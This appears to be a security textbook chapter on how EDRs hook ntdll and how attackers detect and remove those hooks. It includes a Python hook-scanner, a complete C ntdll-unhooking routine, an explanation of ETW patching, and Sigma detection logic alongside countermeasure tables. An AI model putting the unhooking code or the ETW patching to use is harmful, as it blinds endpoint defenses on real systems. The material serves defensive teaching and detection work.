Chapter 27

API Hooking Detection

How EDRs hook ntdll, how malware detects and removes those hooks, and the countermeasure layers defenders use to make unhooking a detectable event

Scenario

A red team tool starts by mapping a clean copy of ntdll from disk, comparing each Nt-stub byte-for-byte with the in-memory version, identifying which stubs have been patched with JMP instructions, and overwriting those patched bytes with the clean versions. From that point forward, every API call goes through unhooked stubs — the EDR's sensors are blind. This technique, called ntdll unhooking, is in every sophisticated offensive toolkit. Detecting the unhooking itself is now as important as detecting what happens after it.

How EDRs Place Hooks

Hook Type	Mechanism	Patch Location	Trampoline
Inline JMP (5-byte)	Replace first 5 bytes of target function with `JMP rel32`	Target function +0	Stolen bytes + JMP back stored in a trampoline stub
Inline JMP (14-byte x64)	`MOV RAX, addr; JMP RAX` — 14 bytes, reaches full 64-bit address	Target function +0	Larger stolen bytes block
IAT hook	Overwrite process IAT slot with hook function pointer	Process's own IAT (in the calling executable, not ntdll)	Hook function optionally calls original via resolved address
Import forwarding hook	Replace export table entry to redirect to hook function	ntdll EAT	Hook forwards selectively

ntdll Integrity Scan

To detect hooks, malware reads the on-disk ntdll.dll (a fresh, unmodified copy) and compares its .text section with the in-memory version. Any bytes that differ indicate a hook.

"""
ntdll hook detection: compare in-memory .text section
to on-disk .text section. Differences = hooks.
"""
import ctypes, ctypes.wintypes, pefile, os

def find_ntdll_hooks():
    # Step 1: find in-memory ntdll base
    ntdll = ctypes.windll.kernel32.GetModuleHandleW("ntdll.dll")
    if not ntdll:
        return

    # Step 2: find ntdll.dll on disk
    sysdir = ctypes.create_unicode_buffer(260)
    ctypes.windll.kernel32.GetSystemDirectoryW(sysdir, 260)
    disk_path = os.path.join(sysdir.value, "ntdll.dll")

    # Step 3: parse disk PE, find .text section
    pe = pefile.PE(disk_path, fast_load=True)
    text_section = None
    for s in pe.sections:
        if s.Name.strip(b'\x00') == b'.text':
            text_section = s
            break
    if not text_section:
        return

    disk_text  = text_section.get_data()
    rva_start  = text_section.VirtualAddress
    mem_base   = ntdll + rva_start

    # Step 4: read in-memory .text via ReadProcessMemory
    size = len(disk_text)
    mem_buf = (ctypes.c_ubyte * size)()
    read    = ctypes.c_size_t()
    ctypes.windll.kernel32.ReadProcessMemory(
        ctypes.wintypes.HANDLE(-1),
        ctypes.c_void_p(mem_base),
        mem_buf, size, ctypes.byref(read)
    )
    mem_text = bytes(mem_buf[:read.value])

    # Step 5: compare, flag differences
    hooks_found = 0
    for i, (disk_b, mem_b) in enumerate(zip(disk_text, mem_text)):
        if disk_b != mem_b:
            hooks_found += 1
            print(f"  [hook] RVA 0x{rva_start + i:X}: disk=0x{disk_b:02X} mem=0x{mem_b:02X}")
    print(f"Total patched bytes: {hooks_found}")

Unhooking ntdll

After identifying hooked bytes, an attacker can restore them from the clean disk copy. This is the ntdll unhooking technique used in tools like ShellyCoat, Meterpreter's hashdump, and many custom loaders:

// C: unhood ntdll by mapping a fresh copy from disk
void UnhookNtdll()
{
    char ntdllPath[MAX_PATH];
    GetSystemDirectoryA(ntdllPath, MAX_PATH);
    strncat_s(ntdllPath, "\\ntdll.dll", 10);

    // Open the on-disk file and create a read-only file mapping
    HANDLE hFile = CreateFileA(ntdllPath, GENERIC_READ, FILE_SHARE_READ,
                                NULL, OPEN_EXISTING, 0, NULL);
    HANDLE hMap  = CreateFileMappingA(hFile, NULL, PAGE_READONLY|SEC_IMAGE, 0, 0, NULL);
    LPVOID pDisk = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);

    // Get in-memory ntdll base
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)((PBYTE)hNtdll +
        ((PIMAGE_DOS_HEADER)hNtdll)->e_lfanew);

    // For each section, overwrite in-memory with disk copy
    PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNT);
    for (WORD i = 0; i < pNT->FileHeader.NumberOfSections; i++, pSec++) {
        if (strcmp((char*)pSec->Name, ".text") == 0) {
            PVOID  pDst  = (PBYTE)hNtdll  + pSec->VirtualAddress;
            PVOID  pSrc  = (PBYTE)pDisk   + pSec->VirtualAddress;
            SIZE_T len   = pSec->Misc.VirtualSize;
            DWORD  oldProt;
            VirtualProtect(pDst, len, PAGE_EXECUTE_READWRITE, &oldProt);
            memcpy(pDst, pSrc, len);
            VirtualProtect(pDst, len, oldProt, &oldProt);
            break;
        }
    }
    UnmapViewOfFile(pDisk);
    CloseHandle(hMap);
    CloseHandle(hFile);
}

EDR Countermeasures to Unhooking

Countermeasure	How it works	Effectiveness
VirtualProtect on ntdll .text	Mark ntdll .text as read-only after hooking; VirtualProtect by attacker raises an EDR event	Delays attacker; VirtualProtect call itself is observable via ETW
Monitor file handle to ntdll.dll	File opens of ntdll.dll by non-system processes are suspicious when followed by CreateFileMapping	Sysmon Event ID 11 (File Create); high detection signal
ETW on VirtualProtect with ntdll range	VirtualProtect touching ntdll .text address range fires ETW event	High signal; attacker must call VirtualProtect to write hooks back
Kernel-mode hooks (SSDT, minifilter)	User-mode unhooking can't touch kernel hooks; attackers need kernel exploit to disable these	Robust unless attacker has kernel access
Periodic hook integrity check	EDR re-verifies its hooks are still in place on a timer or triggered by suspicious activity	Catches post-unhook state, triggers re-hooking

Detecting Unhooking Behavior

# Sigma: detect ntdll.dll mapped from disk + VirtualProtect in sequence
title: Suspicious ntdll Integrity Modification (Unhooking Attempt)
logsource:
    category: process_access   # Sysmon Event 10
    product: windows
detection:
    selection_read:
        TargetImage|endswith: '\ntdll.dll'
        GrantedAccess: '0x0020'   # PROCESS_VM_READ
    filter_system:
        SourceImage|startswith:
            - 'C:\Windows\System32\'
            - 'C:\Program Files\'
    condition: selection_read and not filter_system
fields:
    - SourceImage
    - TargetImage

# Watch for VirtualProtect on in-process ntdll range
# (requires ETW Microsoft-Windows-Kernel-MemoryManager or
#  Microsoft-Windows-Threat-Intelligence provider)

Q & A

If a process maps ntdll from a different location (not C:\Windows\System32), can it use that as a clean copy to unhood the loaded ntdll?

Yes, and this is a known variation called "mapping ntdll from an alternate path." The attacker opens ntdll from a user-writable location (e.g., a temp directory they wrote a clean copy to) or from a different Windows edition's ntdll. The key issue: when using SEC_IMAGE in CreateFileMapping, Windows maps the file as a PE image — the mapped view has the same section layout and VAs as an in-memory load. The attacker can then use the mapped view as the clean source for overwriting the in-memory ntdll .text section. Defenders: (1) Monitor CreateFile for ntdll.dll from non-standard paths — ntdll should only ever be read from System32 (or SysWOW64). A process reading ntdll.dll from any other path is highly anomalous. (2) WDAC file rules prevent loading PE images from unsigned paths; but the attacker here isn't loading it as a DLL, just mapping it as data — so DLL load controls don't apply. (3) The VirtualProtect on the in-memory ntdll.text range remains the most reliable detection signal regardless of where the clean copy came from.

What prevents malware from also unhooking ETW to prevent detection of the unhooking itself?

ETW providers have two surfaces: user-mode instrumentation in DLLs (e.g., ntdll!EtwEventWrite) and kernel-mode instrumentation in the Windows kernel. User-mode ETW can be patched: malware can overwrite EtwEventWrite in ntdll with a ret instruction, silencing all user-mode ETW events for that process. This is called "ETW patching" (Chapter 28). However: (1) Kernel-mode ETW providers (Microsoft-Windows-Kernel-* providers) write events in the kernel and can't be patched from user mode. These include the Threat Intelligence provider and the kernel-mode audit provider — they fire regardless of user-mode ntdll state. (2) ETW patching itself is a highly anomalous operation that detectors watch for — writing to EtwEventWrite in ntdll triggers the same VirtualProtect-on-ntdll signal as hook removal. (3) Modern EDRs that consume ETW-TI (the Threat Intelligence provider) receive events in a PPL-protected process. Even if the suspect process patches its own user-mode ETW, the kernel still delivers events to the PPL consumer. So the chain: unhook ntdll → ETW-TI fires in kernel → kernel delivers to PPL consumer → detection. ETW patching can reduce telemetry but doesn't eliminate kernel-side visibility.